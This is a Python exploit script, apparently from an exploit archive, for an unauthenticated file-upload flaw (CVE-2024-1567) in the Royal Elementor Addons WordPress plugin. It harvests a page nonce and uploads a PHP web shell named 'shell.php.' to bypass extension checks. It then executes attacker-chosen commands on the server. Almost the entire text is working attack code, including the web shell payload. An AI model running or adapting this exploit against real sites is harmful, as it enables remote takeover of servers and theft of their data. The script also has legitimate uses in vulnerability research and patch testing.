Share
## https://sploitus.com/exploit?id=PACKETSTORM:226394
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/royal-elementor-addons/
    # Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
    # Version: 1.3.78 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-1567
    """
    Royal Elementor Addons <= 1.3.78 registers the nopriv admin-ajax action wpr_addons_upload_file.
    Its file_validity() honours the attacker-supplied `allowed_file_types`, and a filename ending in a
    trailing dot ("shell.php.") has pathinfo() extension "" which is in the allow-list and not in the
    php blacklist; sanitize_file_name() then strips the dot, so the file lands as shell.php in
    wp-content/uploads/wpr-addons/forms/ (no protective .htaccess) -> RCE. Nonce WprConfig.nonce is
    printed on any Elementor-rendered front-end page.
    
    Prior state: Elementor active + one Elementor page (to harvest WprConfig.nonce).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "WPR_PWNED_1567"
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--el-page", default="/elpage/", help="path of an Elementor-rendered page")
        ap.add_argument("--cmd", default="id")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        m = re.search(r'WprConfig\s*=\s*(\{.*?\});', s.get(base + args.el_page).text, re.S)
        if not m:
            print("[-] WprConfig not found โ€” point --el-page at an Elementor page"); return 1
        nonce = re.search(r'"nonce":"([a-f0-9]+)"', m.group(1)).group(1)
        print(f"[*] Target: {base} | WprConfig nonce: {nonce}")
        shell = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
        r = s.post(base + "/wp-admin/admin-ajax.php",
                   files={"uploaded_file": ("shell.php.", shell, "image/jpeg")},
                   data={"action": "wpr_addons_upload_file", "triggering_event": "click",
                         "allowed_file_types": "jpg,", "wpr_addons_nonce": nonce}, timeout=30)
        print(f"[*] upload -> HTTP {r.status_code} :: {r.text[:160]}")
        mu = re.search(r'(https?:\\?/\\?/[^"]+?\.php)', r.text)
        url = mu.group(1).replace("\\/", "/") if mu else base + "/wp-content/uploads/wpr-addons/forms/shell.php"
        rr = s.get(url, params={"c": args.cmd}, timeout=15)
        if TOK in rr.text:
            print(f"\n[+] RCE CONFIRMED at {url}\n{rr.text.split(TOK+':')[1].strip()}")
            return 0
        print("\n[-] not confirmed"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())